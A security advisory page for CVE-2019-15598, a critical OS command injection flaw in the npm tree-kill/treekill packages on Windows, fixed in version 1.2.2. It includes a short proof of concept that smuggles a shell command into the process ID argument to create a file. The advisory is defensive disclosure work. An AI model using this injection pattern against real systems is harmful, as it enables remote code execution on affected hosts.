Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1qN2ZxLXA5cTctNXdmds4AAjAY

Treekill Enables OS Command Injection

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Permalink: https://github.com/advisories/GHSA-j7fq-p9q7-5wfv
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qN2ZxLXA5cTctNXdmds4AAjAY
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: almost 2 years ago
Updated: 24 days ago


CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-j7fq-p9q7-5wfv, CVE-2019-15598
References: Repository: https://github.com/pkrumins/node-tree-kill
Blast Radius: 59.1

Affected Packages

npm:tree-kill
Dependent packages: 1,298
Dependent repositories: 1,070,896
Downloads: 44,800,452 last month
Affected Version Ranges: < 1.2.2
Fixed in: 1.2.2
All affected versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.1.0, 0.1.1, 1.0.0, 1.1.0, 1.2.0, 1.2.1
All unaffected versions: 1.2.2